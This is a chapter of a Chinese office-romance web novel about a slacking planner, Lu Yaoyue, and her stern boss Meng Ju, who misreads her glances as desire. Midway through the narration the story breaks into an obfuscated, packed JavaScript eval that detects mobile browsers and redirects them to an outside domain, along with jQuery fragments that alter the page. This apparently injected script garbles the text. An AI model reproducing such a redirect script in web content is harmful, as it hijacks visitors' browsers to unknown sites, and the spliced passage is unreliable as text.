请假后头天上班，同事们还在讨论新规章。


    吴锦诗踩点来，打开电脑后的第一件事，就是对陆姚月说：“我们私下猜测，公司里可能有人，有那个趋势。”


    陆姚月兴致高昂，追问：“谁啊？”


    “这不排列组合了八十多组cp，硬没看到有可能性的，藏得真深。”


    陆姚月八卦心上来了，拧着眉梢深思，她入职一个多月，就和策划编剧美术部门的关系好点。


    旁边商务部版权部的人还认不齐全，别说看出什么暧昧来了。


    就算认识，她也把精力全放在摸鱼的百种方法上了，哪儿会去观察谁和谁有趋势？


    吴锦诗玩笑般说：“还有人说是你呢，长得好看，性格又好，公司里没有不喜欢你的，可能性最大。”


    “冤枉啊清汤大老爷！”陆姚月哭笑不得，“我和谁啊，邵梦瑶还是你？”


    吴锦诗眼睛一亮：“我愿意！”


    陆姚月嘴角一抽，傲娇地抱起手臂，直哼哼：“那我勉强考虑考虑吧。”


    吴锦诗呵呵直乐，她往老板办公室瞥了眼，意有所指：“咱们公司长得好看的，也不止你一个。”


    “梦瑶确实挺好看的。”陆姚月点头道。


    吴锦诗：“哎呀，我说的不是她，你再想想？”


    “看我这眼睛，这么大个美人在我面前，我都没看到呢。”陆姚月顺着话说，轻笑揶揄，“那你要玩办公室恋情啊？”


    “我说的是，老板，老板啊！”


    陆姚月这才反应过来，论脸，孟居绝对是逐梦印象头牌，甚至在一众网红明星中，也是顶尖的存在。


    不过他太容易让人忽略掉颜值这块儿，因为他老是臭着脸，气场阴沉，怪吓人的。


    陆姚月打了个哆嗦，摇了摇头，“呃，这，谁和他谈恋爱就是倒了大霉。”


    吴锦诗：“他要真谈了，说不定还要把女朋友囚禁起来，给他打工赚钱呢。”


    没错，他就是这样的人。


    因着缺席一天，陆姚月工作上有所延误，她不想被黑心肠老板挥着鞭子催，主动补项目进度去了。


    把《常樱学院事件录》做好的策划上传到项目群里，陆姚月估计孟居和朱秀姐群多，一时半会儿注意不到，特地发了份去他们邮箱。


    打开钉钉，她准备发消息提醒下孟居看，才看到他前天发过消息，还撤回了。


    什么情况？


    沉思数秒，陆姚月无视掉这条被撤回的消息，只提醒孟居注意查看邮件。


    她上班，主打一个混吃混喝，老板不说她不问。


    过了半个多小时，孟居才回了个：【嗯】


    很快，迸出了第二条：【看过公司新规章了吗？】


    陆姚月：……怎么？老板也想和她八卦八卦？


    心里这样吐槽，手上还是乖乖打了回复过去：【看过了】


    孟居：【你明白了吗？】


    陆姚月被这五个字硬控了几分钟。


    呵呵，又来了，神秘谜语人系统又给老板发了任务，是吗？


    鉴于前几次进行过牛马服从性测试，她有充分理由怀疑，这次也是！


    狗腿这种事，一回生二回熟，陆姚月手指按在键盘上熟练打字：【老板放心！我都明白！】


    策划组_陆姚月：【我一定把公司规章制度贯彻到底，坚决服从老板带领，做出爆款项目，让公司赚大钱，老板发大财！】


    策划组_陆姚月：【这是我目前唯一的想法】


    孟居像正等着她消息似的，立马回复：【明白就好】


    过关了！


    呼哧呼哧呼哧。


    陆姚月瘫软在办公椅背上，大口喘着粗气，擦了把额头上的冷汗。


    她笑了。


    真是好一场酣畅淋漓的服从性测试，这职场，果真处处危机。


    不敢想象，要是她没有回答对孟居的问题，将会面临何等可怕境地。


    好在，她猜对了老板的心思。


    不愧是她！


    吴锦诗看她这副劫后余生的模样，不由关心了番。陆姚月和她关系好，大方与她分享了这道试题与标准答案。


    吴锦诗看呆了：“窝囊组牛马上分。”


    吴锦诗疑惑，什么服从性测试，难道是孟扒皮新搞出来的花样？


    想着，打开孟居微信，聊天记录只有工作往来。


    再看钉钉，更是空白一片。


    奇了怪了。


    ……


    又一次通过孟扒皮的服从性测试后，陆姚月发现了，他巡视公司抓摸鱼时，偶尔投向她的眼神变得有些奇怪。


    少了点严厉阴沉，多了一丁丁丁点满意。


    说起来，很像她论文改了十多遍后，终于不再像垃圾时，导师看她的欣慰眼神。


    说明她通过试用期的概率大大提高，没准儿还要加工资呢。


    陆姚月高兴得要飞起来了，连和邵梦瑶说孟居坏话的频率，都降低了不少。


    六月初，H市天气起伏多变。接连天晴后，周五迎来降雨，气温骤减。


    四处都湿漉漉的，空气里带着雾蒙蒙的水气味儿。


    这种天气好眠，可陆姚月却不得不坐在公司里上班，看着屏幕上的文字图片，她懒洋洋打了个哈欠。


    早啊，又是不想上班的一天。


    她没什么精神，别人都热火朝天，话题从办公室恋情转到了团建。


    吴锦诗为此还化了全妆。


    “晚上要拍合照，你不带点妆？”她看着陆姚月素面朝天的脸庞说。


    陆姚月道：“我宁愿把时间拿来睡觉。”


    自打进公司前两天化过妆外，她再没碰过化妆品，每天涂抹个水乳完事儿。


    已经是她对公司最大的尊敬。


    ……


    孟居隔着八百米，都能嗅见公司里散漫的工作氛围，眉头不悦地皱了起来。


    公司招他们是来创造价值的，不是当祖宗供着的。


    坐在工位上不干活，等着他这个老板来养？


    不敲打敲打，是不行了。


    在公司群里发话，多半效果不佳，孟居觉得，还是要亲自出面抓几个典型为好。


    说起摸鱼，第一个想到的，就是陆姚月。


    不过，不能抓她。


    在新规章下，她好不同意有所收敛，这些天没再用什么手段。要是贸然出现在她面前，就怕叫她生出旖旎想法。


    他决定去美术部抓一抓典型。


    办公室出来，就是策划部工作区，孟居不由自主朝陆姚月工位瞥了眼。


    平静的面色，登时沉下。


    才刚上班几分钟啊，她怎么和吴锦诗聊起来了？


    正常情况下，在孟居手底下做事，他会把人压榨成干尸才会罢休。


    而对陆姚月，他只希望她能在繁忙的摸鱼时间里，抽出空闲按时完成工作就好。


    可她呢，她怎么能妨碍别的同事进取？人人都像她那样插科打诨，他还赚不赚钱了？


    孟居忍不了，沉着脸走过去，瞧见他这副模样的同事们，都吓得倒吸一口凉气。把头埋得低低的，收拾摸鱼证据。


    办公区里窸窸窣窣一片响。


    陆姚月机敏抬头，眼中掠过慌乱，飞快撞了吴锦诗的胳膊一下，随即开始假装工作。


    孟居气得冷笑，笔直走到她工位旁，曲起手指在桌上敲了两下。


    陆姚月像刚察觉到他到来似的，仰起头看他：“怎么了？老板？”


    她眼睛圆滚滚的，清透见底，直白显露着她的无辜天真。


    电脑屏幕停留在花瓣网上，绚烂屏光映照眸中，像极了晴朗天里，透过满洲窗的光影。


    孟居从中看到了稍纵即逝的狡黠。


    她眨了眨眼，眼底波光随之微微颤抖，孟居要说的话，被堵在了喉咙里：“……”


    孟居后悔冲动过来了。


    他的主动靠近，似乎让她欢喜。要是再和她说话，哪怕是讥讽，她也会欣喜若狂。


    这不是他愿意看到的局面。


    于是孟居冷漠地不回应她，从善如流把视线放到吴锦诗身上。


    这儿不是还有个妥妥的典型么。


    孟居：“《长生镜》改好了？”


    吴锦诗打了个激灵，低着脑袋，快埋进办公桌里了。


    《长生镜》改了三版了，都没达到立项标准，这不正一边改着第四版，一边和陆姚月聊天儿，就被孟居抓了个正着。


    吴锦诗冷汗直流，磕磕巴巴道：“没……没……应该快了……”


    得知老板不是冲着自己来的，陆姚月甩给了吴锦诗一个自求多福的眼神。


    她滑动鼠标翻阅图片，假装在认真工作。


    她装得像模像样，但注意力早被孟居身上淡淡的茉莉花清香勾走了魂儿，味道在雨日里尤为清透凛冽


    脑子里好像有个音乐节的大音响，循环播放着：“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223394|181624||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好一朵美丽的茉莉花~好一朵美丽的茉莉花~”


    不知道是不是旋律太过魔性，令她静不下心。又或者，是他的存在感过于强烈。


    孟居离她很近，就在她工位旁，余光里一直有他的影子。


    陆姚月偏偏头，就能看到他搭在桌沿的手，青筋在冷白的皮肤上鼓着，像他这个人般冷锐逼人。


    可他小指上的红痣实在显眼，将锐利感削减，她不止一次感慨……


    真他喵的涩情。


    把他的手指含进嘴里，用舌尖舔过那颗红痣，受不了刺激的老板绷紧了下颌，脸色阴郁又羞怯。


    看过的许多小说情节，一一在脑海中浮现，她直呼救命，连那张臭脸都变成了情趣。


    陆姚月对黄色废料的产生，羞愧极了。


    大白天上班呢，她怎么能想那些东西！她埋下脑袋，狠狠检讨了自己，顺便再多瞄几眼。


    嘿嘿。


    孟居虽然在和吴锦诗说话，可只要微垂下眼睑，就能清楚看到她的一举一动。


    表面在工作，实则用余光偷看他。


    只要她不用那些龌龊手段，随她看看无所谓，等时间一长，她总会失去兴趣。


    她年纪小，又那么聪慧，就该好好为公司赚钱……嗯？


    孟居思绪戛然而止，他听到脑袋里的弦绷直了，发出嗡嗡危险的震颤。


    她、她在看什么地方？


    顺着她视线往下看去，孟居狭长眼眸骤然晦暗，那里……那里是……是他的……她她她她怎么能看他那儿？！


    孟居条件反射地夹紧臀部，双手往身前挡了挡。


    他衣服宽大，遮挡着那儿，应该没凸起什么吧？没被她看到不该看的吧？


    向来淡定的孟居，完全陷入了震惊、讶异、恼怒、羞愤中，不知天地为何物。


    “陆、姚、月！”孟居咬着牙，一字一顿，字字都像被他咬碎了。


    陆姚月不知道发生了什么，猛地听到他叫自己，“啊？”了声，下意识抬头看他——


    这回，她是真无辜天真。


    她对上老板比狗屎还臭的脸色，心脏咯噔一跳，后背悚然冒出了层冷汗。


    老板眉宇间的内敛淡漠，都在忍耐中微微颤抖，他还皱眉灯瞪她，用嘶哑又威吓的腔调，低声喝道：“不准看。”


    陆姚月：……？他又怎么了？叫了她又不准她看？


    陆姚月撇撇嘴，认命地“哦”了下，“好的好的。”她把脸转向屏幕，不看就不看呗，谁稀罕。


    孟居垂在身侧的手，不大自然，他深吸了两口气，紧握成拳。薄薄的唇瓣翕动，想说什么，可见她像没事儿人一样自在，又憋了回去。


    还是什么都没说得出来。


    等孟居一走，陆姚月懵懵地问吴锦诗：“你招惹他了？把他气成这样？”


    吴锦诗也很懵：“我怎么敢啊！他不是还叫了你名字吗，要招惹也是你吧？”


    陆姚月觉得他刚刚奇怪极了，想了半晌，才想出个猜测：“我知道了，他不是叫我名字，而是在说：我要yue了，听着就像在叫我。”


    “对诶。”吴锦诗也觉得有道理，顺着她说下去：“怪不得他走得急，一切都合理了。”


    陆姚月笑了起来：“我就说吧，肯定不关我的事。”


    ……


    孟居快速过了遍《受不了了，老板不要啦！》，确定里面没有写“在上班时偷看老板下面”的剧情，把眉宇间的褶子揉平。


    不是小说里的手段，只是个偶然。


    透过办公室窗，孟居暗中窥视陆姚月，她又在和吴锦诗聊天了，还笑得那么爽朗。


    灰蒙蒙的日光，仿佛都被她感染到明媚起来。


    孟居双眼被刺得生疼，阖了阖眼，怎么，看了他下面，心情这么好？他看看她，再扭头看看小说，她比女主还要好色。


    要不，还是把她劝退吧？


    很快孟居便打消了念头。


    好歹这回她没有动手，只是爱欲使然，让她没能控制住而已，并没有对他造成实质性弊端。


    可要是她走了呢，《常樱学院事件录》会进入到一段时间的空窗期，影响到制作效率，对逐梦印象的妨害是实打实的。


    而且回头朱秀姐问起，他说不出摸了屁股看了他下面这种话。


    利益相较，要不……这次暂不计较，再给陆姚月一次机会。


    下次，如果下次再做出逾越行为，就没这么简单了。